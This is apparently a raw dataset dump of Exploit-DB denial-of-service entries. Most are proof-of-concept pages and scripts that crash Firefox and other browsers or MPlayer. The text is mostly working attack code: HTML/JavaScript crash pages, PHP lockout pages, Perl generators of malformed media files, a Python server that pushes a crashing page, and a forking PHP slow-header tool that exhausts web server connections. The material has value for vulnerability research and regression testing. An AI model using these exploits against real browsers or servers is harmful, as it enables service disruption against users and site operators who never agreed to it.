deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33607
Description: Mozilla Firefox 3.5.x and SeaMonkey 2.0.1 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2010-02-07
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/38132/info

Mozilla Firefox and SeaMonkey are prone to a remote denial-of-service vulnerability.

Successful exploits may allow an attacker to crash the affected browser, resulting in a denial-of-service condition. Given the nature of this issue, memory corruption or code execution might be possible, but has not been confirmed.

The issue affects Firefox 3.6.7 and SeaMonkey 2.0.1; other versions may also be affected.

<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script>
Exploit-DB #33800
Description: Mozilla Firefox 3.6 - 'gfxTextRun::SanitizeGlyphRuns()' Remote Memory Corruption
Type: dos
Platform: multiple
Date: 2010-03-24
Author: Jesse Ruderman

Exploit:
source: https://www.securityfocus.com/bid/38943/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Firefox 3.6 for Apple Mac OS X is vulnerable.

NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it. 

<html> <head> <title>Testcase for bug 538065</title> <style type="text/css"> span.test { background: #ff0; } </style> </head> <body> <p>U+FEFF: <span class="test">&#xfeff;</span></p> <p>U+FFF9: <span class="test">&#xfff9;</span></p> <p>U+FFFA: <span class="test">&#xfffa;</span></p> <p>U+FFFB: <span class="test">&#xfffb;</span></p> </body> </html>
Exploit-DB #11590
Description: Mozilla Firefox 3.6 - Denial of Service (2)
Type: dos
Platform: multiple
Date: 2010-02-27
Author: Ale46

Exploit:
<?php

/*
*    Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit
*    Date: 25/02/10
*    Author: Ale46 - ale46[at]paranoici[dot]org
*    Software Link: http://www.mozilla-europe.org/en/firefox/
*    Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue
*    Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32
*    Description: visiting this php page you'll get an instant crash of Firefox
*    Greetz: Gandalf
*    Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)
*/

$a = '<marquee>';
$b = '</marquee>';

for ($i=0;$i<=1000;$i++){
    $a .= '<marquee>';
    $b .= '</marquee>';
}

echo '<body>';
echo $a;
echo "hadouken!";
echo $b;
echo '</body>';

?>
Exploit-DB #15498
Description: Mozilla Firefox 3.6.12 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2010-11-12
Author: emgent white_sheep & scox

Exploit:
<!--

	0day Mozilla Firefox <= 3.6.12 Remote Denial Of Service

	Credits:
	Emanuele 'emgent' Gentili	<emgent@backtrack-linux.org>
	Marco 'white_sheep' Rondini	<white_sheep@backtrack-linux.org>
	Alessandro 'scox' Scoscia	<scox@backtrack.it>

-->

<script>document.write("\u0000\u0001\u0002\u0003\u0004\u0005")</script>
<script>
var i=0;
for (i=0;i<=19999;i++)
{
	document.write("a");
}

for (i=0;i<=3;i++)
{
	document.write(document.body.innerHTML);
}

</script>
Exploit-DB #42027
Description: Mozilla Firefox 50 < 55 - Stack Overflow Denial of Service
Type: dos
Platform: multiple
Date: 2017-05-17
Author: Geeknik Labs

Exploit:
<!--
Title:
==============
Unpatched Mozilla Firefox v50 - v55 Stack Overflow DoS Vulnerability

References:
==============
https://bugzilla.mozilla.org/show_bug.cgi?id=1322307

Timeline:
==============
Reported to Mozilla: 2016-12-06
Mozilla made public: 2016-12-15
Declined bounty: 2017-01-30
Advisory released: 2017-05-16

Technical Details:
==============
A stack overflow DoS vulnerability affecting Firefox versions 50 through 55 was discovered by Geeknik Labs. This flaw does NOT affect ESR 45 or the latest version of the Tor Browser Bundle. This flaw can be triggered by simply visiting a website with the PoC code embedded in it and requires no further user interaction nor does it require any special privileges. Successful exploitation results in the browser tab crashing.

Security Level:
==============
Medium

CVSS Score:
==============
3

Proof of Concept:
==============
-->

<html>
<head></head>
<body>
<script>
function done() {
}

var x = '';
for (i=0; i<500000; ++i)
x += '<a>';
var uri = 'data:image/svg+xml,' + x;
var i = new Image();
i.src = uri;
</script>
</body>
</html>

<!--
Visiting https://bugzilla.mozilla.org/attachment.cgi?id=8817075 may likely crash your browser tab.

Debug Information:
==============

(ff4.1108): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5e3be520 ebx=00000000 ecx=256fab00 edx=00000001 esi=00000001 edi=256faab0
eip=5c718053 esp=00802ff4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
xul!mozilla::dom::Element::UnbindFromTree+0x3:
5c718053 53 push ebx

FAULTING_IP:
xul!nsINode::doRemoveChildAt+6a [c:\builds\moz2_slave\m-rel-w32[PII_REDACTED][PII_REDACTED]\build\src\dom\base\nsinode.cpp @ 1910]
5c805677 8d4df8 lea ecx,[ebp-8]

BUCKET_ID: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a

Credits:
==============
Brian Carpenter, Geeknik Labs, https://twitter.com/geeknik
-->
Exploit-DB #18116
Description: Mozilla Firefox 8.0 - Null Pointer Dereference (PoC)
Type: dos
Platform: multiple
Date: 2011-11-14
Author: 0in

Exploit:
# Firefox <= 8.0 null pointer dereference PoC exploit
# Author: 0in (Maksymilian Motyl)
# Tested on Firefox 8.0/4.0 on windows and Firefox 7.1 on Linux
# Lets see in code:
# $ cat ./mozilla-release/content/base/src/nsObjectLoadingContent.cpp

NS_IMETHODIMP nsObjectLoadingContent::OnStartRequest(nsIRequest *aRequest,
                                       nsISupports *aContext)
{
  if (aRequest != mChannel) { // our pointer is checked there, mChannel is null. I think maybe some magick in js can help there
    return NS_BINDING_ABORTED;
  }
  AutoNotifier notifier(this, PR_TRUE);

  if (!IsSuccessfulRequest(aRequest)) { // go


//----------------------------------------------------------------------------------
PRBool nsObjectLoadingContent::IsSuccessfulRequest(nsIRequest* aRequest)
{
  nsresult status;
  nsresult rv = aRequest->GetStatus(&status); // Code execution is here.

// ---------------------------------------------------------------------------------


DUMP:
  014E7A28   8B7D 08          MOV EDI,DWORD PTR SS:[EBP+8]
  014E7A2B   8B07             MOV EAX,DWORD PTR DS:[EDI] ; access violation when reading 0x00000000
  014E7A2D   8D4D FC          LEA ECX,DWORD PTR SS:[EBP-4]
  014E7A30   51               PUSH ECX
  014E7A31   57               PUSH EDI
  014E7A32   FF50 14          CALL DWORD PTR DS:[EAX+14]

  EAX 0012BFC0
  ECX 00080000
  EDX 00080000
  EBX 03A199E8
  ESP 0012BF44
  EBP 0012BF54
  ESI 03A199C0
  EDI 00000000
  EIP 014E7A2B xul.014E7A2B

$ cat 2011_powrot_komuny.html
<html>
<body>

<object id="dupa">
<script>
RIINDC=document.getElementById("dupa");
RIINDC.QueryInterface(Components.interfaces.nsIRequestObserver);
//RIINDC.mchannel=SHELLCODE_ADDR
RIINDC.onStartRequest(null,RIINDC.QueryInterface(Components.interfaces.nsISupports));
//RIINDC.onStartRequest(RIINDC.mchannel,DWCJWL.QueryInterface(Components.interfaces.nsISupports));

</script>
</body>
</html>
Exploit-DB #43020
Description: Mozilla Firefox < 55 - Denial of Service
Type: dos
Platform: multiple
Date: 2017-10-20
Author: Amit Sangra

Exploit:
# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content
# Category: Denial of Service
# Date: 5/11/17
# CVE : CVE-2017-7783
# Affected Version: < Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
# Exploit Author: Amit Sangra
# Website: http://CyberCriminals.net
 
# Description:
 
If a long user name is used in a username/password combination in a site URL (such as http://UserName:Password@example.com), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.
 
# Impact:

An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.
 
# Exploit:
 
<?php
$exploit=str_repeat(chr(0x41),10000);
$location="http://Username".$exploit.":Password@Firefox.com";
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
//Content to be forcibly viewed
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";
//End
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";
?>
 
# Solution:
   
Update to version 55
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/
 
# Mozilla Foundation Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783
Exploit-DB #8285
Description: Mozilla Firefox XSL - Parsing Remote Memory Corruption (PoC) (1)
Type: dos
Platform: multiple
Date: 2009-03-25
Author: Guido Landi

Exploit:
// firefox XSL parsing remote memory corruption poc

// k`sOSe - works both in windows and linux

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8285.tar.gz (2009-ffox-poc.tar.gz)

# milw0rm.com [2009-03-25]
Exploit-DB #6029
Description: Mozilla Firefox/Evince/EOG/Gimp - '.SVG' Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2008-07-08
Author: Kristian Hermansen

Exploit:
"""
Malicious SVG file DoS

The following applications were tested in their latest revisions:
Firefox's "browse for file, preview" object on linux: affected
evince on linux: affected
eog on linux: affected
gimp on linux: affected
inkscape on linux: unaffected
Microsoft Visio on windows: unaffected

It is unknown at this time whether code execution is possible...
"""

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6029.zip (2008-www.NoiseBridge.net.zip)

# milw0rm.com [2008-07-08]
Exploit-DB #1204
Description: Mozilla Products - 'Host:' Buffer Overflow (Denial of Service) (PoC) String
Type: dos
Platform: multiple
Date: 2005-09-09
Author: Tom Ferris

Exploit:
<!--

Mozilla Firefox <= 1.0.6 (Host:) Buffer Overflow DoS String
Formatted for your tesing /str0ke

Tom Ferris
www.security-protocols.com

Versions Affected:
Firefox Win32 1.0.6 and prior
Firefox Linux 1.0.6 and prior
Firefox 1.5 Beta 1 (Deer Park Alpha 2)

Technical Details:
The problem seems to be when a hostname which has all dashes causes the
NormalizeIDN call in nsStandardURL::BuildNormalizedSpec to return true,
but is sets encHost to an empty string.  Meaning, Firefox appends 0 to
approxLen and then appends the long string of dashes to the buffer
instead.  The following HTML code below will reproduce this issue:

String:
<A HREF=https:--------------------------------------------- >

-->

<A HREF=https:짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯짯 >

# milw0rm.com [2005-09-09]
Exploit-DB #24799
Description: Mozilla0.x / Netscape 3/4 / Firefox 1.0 - JavaScript IFRAME Rendering Denial of Service
Type: dos
Platform: multiple
Date: 2004-12-06
Author: Niek van der Maas

Exploit:
source: https://www.securityfocus.com/bid/11823/info

Mozilla/Netscape and Firefox browsers are reported prone a remote denial of service vulnerability. It is reported that the affected browsers will crash as a result of a NULL pointer dereference when a JavaScript function attempts to print an IFRAME that is embedded in the page.

Replace '[' with '<' and ']' with '>'.
[iframe id="pocframe" name="pocframe" src="about:blank"></iframe]
[script type="text/javascript">window.frames.pocframe.print();</script]
Exploit-DB #7812
Description: MPlayer 1.0rc2 - TwinVQ Stack Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2009-01-16
Author: sCORPINo

Exploit:
#!/usr/bin/perl
# MPlayer 1.0rc2 TwinVQ Stack Buffer Overflow PoC
# PoC by Amirreza Aminsalehi "sCORPINo"
#        (Proud To be an Abay)
#     scorpino x40 gmail x2e com
# Snoop Security Researching Committee
#       www.snoop-security.com
# Originaly this bug discovered by Tobias Klein
# advisory @ http://trapkit.de/advisories/TKADV2008-014.txt
# Tested on a windows xp sp2 english system and get SIG 11 after openning the PoC with MPlayer  ;)
# I did'nt find any document that explain VQF file format, So I reversed that file format to get the headers.
# special tnX to: Shahriyar, Adel, Alireza, Yashar and all snoop members 
###########################################################################################
# You Can See Debug dumps here:
#
#(8ec.748): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=0c6257d4 ebx=001f4150 ecx=030fc9f5 edx=00000001 esi=00232fff edi=00215abc
#eip=77c46fa3 esp=001f4120 ebp=001f4128 iopl=0         nv up ei pl nz ac pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210216
#*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 
#msvcrt!memcpy+0x33:
#77c46fa3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
#0:000> g
#(8ec.748): Access violation - code c0000005 (!!! second chance !!!)
#eax=0c6257d4 ebx=001f4150 ecx=030fc9f5 edx=00000001 esi=00232fff edi=00215abc
#eip=77c46fa3 esp=001f4120 ebp=001f4128 iopl=0         nv up ei pl nz ac pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200216
#msvcrt!memcpy+0x33:
#77c46fa3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
###########################################################################################
my $file="amir.vqf";
open(my $FILE, ">$file") or die "Cannot open $file: $!";
$head  = "\x00\x01\xD4\xC0"; #SIZE
$head2 = "\x43\x4f\x4d\x4d"; #COMM
$head3 ="\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x2c".
		"\x00\x00\x00\x00\x4e\x41\x4d\x45\x00\x00\x00\x0b\x47\x69\x6c\x64".
		"\x65\x64\x20\x43\x61\x67\x65\x41\x55\x54\x48\x00\x00\x00\x11\x42".
		"\x6c\x61\x63\x6b\x6d\x6f\x72\x65\x91\x73\x20\x4e\x69\x67\x68\x74".
		"\x28\x63\x29\x20\x00\x00\x00\x04\x4a\x75\x72\x61\x41\x4c\x42\x4d".
		"\x00\x00\x00\x0d\x53\x65\x63\x72\x65\x74\x20\x56\x6f\x79\x61\x67".
		"\x65\x54\x52\x43\x4b\x00\x00\x00\x02\x30\x33\x44\x41\x54\x41\x0c"; # other headers. Not in mood to separate every one ;)

print $FILE  "TWIN97012000".$head.$head2.$head3. "A" x 120000; #don't pay attention to "A" repeat times.It's just a guess :p
close($FILE);
print "$file has been created \n";  

# milw0rm.com [2009-01-16]
Exploit-DB #11792
Description: mplayer 4.4.1 - Null Pointer Dereference (PoC)
Type: dos
Platform: multiple
Date: 2010-03-18
Author: Pietro Oliva

Exploit:
# Exploit Title: mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day
# Date: 17/03/2010
# Author: Pietro Oliva
# Software Link: 
# Version: <= 4.4.1
# Tested on: ubuntu 9.10 but should work in windows too
# CVE :  

#Program received signal SIGSEGV, Segmentation fault.
#0x081176d8 in af_calc_filter_multiplier ()
#(gdb) disas af_calc_filter_multiplier 
#Dump of assembler code for function af_calc_filter_multiplier:
#0x081176d0 <af_calc_filter_multiplier+0>:	push   %ebp
#0x081176d1 <af_calc_filter_multiplier+1>:	mov    %esp,%ebp
#0x081176d3 <af_calc_filter_multiplier+3>:	fld1   
#0x081176d5 <af_calc_filter_multiplier+5>:	mov    0x8(%ebp),%eax
#0x081176d8 <af_calc_filter_multiplier+8>:	mov    (%eax),%eax	==> mplayer tries to dereference eax, which is a NULL pointer!!! 	
#0x081176da <af_calc_filter_multiplier+10>:	lea    0x0(%esi),%esi
#0x081176e0 <af_calc_filter_multiplier+16>:	fmull  0x28(%eax)
#0x081176e3 <af_calc_filter_multiplier+19>:	mov    0x18(%eax),%eax
#0x081176e6 <af_calc_filter_multiplier+22>:	test   %eax,%eax
#0x081176e8 <af_calc_filter_multiplier+24>:	jne    0x81176e0 <af_calc_filter_multiplier+16>
#0x081176ea <af_calc_filter_multiplier+26>:	pop    %ebp
#0x081176eb <af_calc_filter_multiplier+27>:	ret    
#End of assembler dump.

# REGISTERS:
#eax            0x0	0	==========> NULL
#ecx            0xfa157a57	-99255721
#edx            0x1fe0	8160
#ebx            0x8509a08	139500040
#esp            0xbfffe2e8	0xbfffe2e8
#ebp            0xbfffe2e8	0xbfffe2e8
#esi            0x7b84[PII_REDACTED]20
#edi            0xf8[PII_REDACTED]
#eip            0x81176d8	0x81176d8 <af_calc_filter_multiplier+8>
#eflags         0x10216	[ PF AF IF RF ]
#cs             0x73	115
#ss             0x7b	123
#ds             0x7b	123
#es             0x7b	123
#fs             0x0	0
#gs             0x33	51



#!/usr/bin/perl

print "[+] mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day by Pietro Oliva\n";
print "[+] pietroliva[at]gmail[dot]com  http://olivapietro.altervista.org\n";
print "[+] creating crafted file mplayer.wav\n";
$buffer="\x52\x49\x46\x46\x1f\x04\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x1f";
open(file,"> mplayer.wav");
print(file $buffer);
print "[+] done!\n";
Exploit-DB #25584
Description: Mtp-Target Server 1.2.2 - Memory Corruption
Type: dos
Platform: multiple
Date: 2005-05-02
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/13463/info

The Mtp-Target server is prone to a memory corruption vulnerability. The issue exists because a comparison fails to ensure that an integer value parameter retrieved from a client is signed. A check is made to ensure that the user-supplied value is less than 1000000 bytes. If the value passed is FFFFFFFFh, it is interpreted as a signed -1 and the check passes. The value is later used as an unsigned integer in a memory allocation operation. An allocation of 4.29 GB of data is attempted and the service crashes.

Immediate consequences of exploitation of this vulnerability are a denial of service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25584.zip
Exploit-DB #11426
Description: Multiple Browsers - Address bar Characters
Type: dos
Platform: multiple
Date: 2010-02-12
Author: Pouya Daneshmand

Exploit:
#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Internet Explorer
# Version: 8.0
# Other tested browsers that also automatically convert "\" to "/":
# - Firefox v3.6
# - Google Chrome 4.0.249.78 (36714)
#################################################################
Vulnerability: (IE address bar characters into a small feature)
My IE 8 on the address bar will automatically enter the url of the "\" (0x5c) transformed into "/" (0x2f)
Example: www.securitylab.ir<http://www.securitylab.ir> \ a Converted www.securitylab.ir/a<http://www.securitylab.ir/a>
Recently found that some phishing sites take advantage of this feature to bypass some security checks, it is hereby to be a mark
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & whh_iran[AT]yahoo.com
###################################################################
Exploit-DB #12324
Description: Multiple Browsers - Audio Tag Denial of Service
Type: dos
Platform: multiple
Date: 2010-04-21
Author: Chase Higgins

Exploit:
#!/usr/bin/python

#Multiple Browsers Audio Tag Denial of Service Vulnerability
#any ogg file can be used for the DoS as long as it is a valid file on the server
#crash reporter for Mac seems to think this is a EXEC_BAD_ACCESS
#This script acts as a web server to DoS connecting clients

# Exploit Title: Multiple Browsers Audio Tag DoS Vulnerability
# Date: April 21th, 2010
# Author: Chase Higgins, http://twitter.com/tzDev
# Software Link: google.com/chrome, apple.com/safari
# Version: Google Chrome 5.0.375.9 dev
# Tested on: Mac OSX 10.5.8
 
import sys, socket;

def main():
	html = """
	<html>
	<body>
	""";
	
	html += "<audio src='myogg.ogg'>" * 10000;
	
	html += """
	</body>
	</html>
	""";
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('', 2121));
	s.listen(1);
	
	while True:
		channel, details = s.accept();
		print channel.recv(256);
		channel.send(html);
		channel.close();
	
main();
Exploit-DB #8991
Description: Multiple HTTP Server - Low Bandwidth Denial of Service (2)
Type: dos
Platform: multiple
Date: 2009-06-22
Author: evilrabbi

Exploit:
<?php
/*
    DOS for the vulnerbility at http://isc.sans.org/diary.html?storyid=6601
   

    I wrote it in PHP because I find it funny to make PHP attack apache...
    I set it at 200 processes and it kill my test servers pretty quick. have fun kiddiez...

    greetz: m1m1, t4dp0le, p00kiep0x, global hell [gH], b4b0, ri0t, JxT, bastard labs, neonfreon and everyone else you know who you are.....
    --evilrabbi b4b0
*/
/**
 * Usage function...
 *
 * @param $argv array
 * @return void
 */
function usage($argv)
{
    print "Usage: php ./{$argv[0]} <number of processes> <webserver ip or hostname>\n";
    die();
}

/**
 * Hangs the connection to the webserver
 *
 * @param $server string
 * @return void
 */
function killTheFucker($server)
{
    $request  = "GET / HTTP/1.1\r\n";
    $request .= "Host: {$server}\r\n";
    $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n";
    $request .= "Content-Length: " . rand(1, 1000) . "\r\n";
    $request .= "X-a: " . rand(1, 10000) . "\r\n";

    $sockfd = @fsockopen($server, 80, $errno, $errstr);
    @fwrite($sockfd, $request);

    while((fwrite($sockfd, "X-c:" . rand(1, 10000) . "\r\n")) !== FALSE)
    {
        sleep(15);
    }
   
   
}

/**
 * main function
 * @param $argc int
 * @param $argv array
 * @return void
 */
function main($argc, $argv)
{
    $status = 1;

    if ($argc < 3)
    {
        usage($argv);
    }

    $pids = Array();

    for ($i = 0; $i < $argv[1]; $i++)
    {
        $pid = pcntl_fork();

        if ($pid == -1)
        {
            die("ERROR!@# YOU MADE BABY JESUS CRY");
        }
        else if ($pid == 0)
        {
            killTheFucker($argv[2]);
            exit(0);
        }
        else
        {
            $pids[] = $pid;
        }
    }

    foreach ($pids as $pid)
    {
        pcntl_waitpid($pid, $status);
    }
}

// fire everything up
main($argc, $argv);

# milw0rm.com [2009-06-22]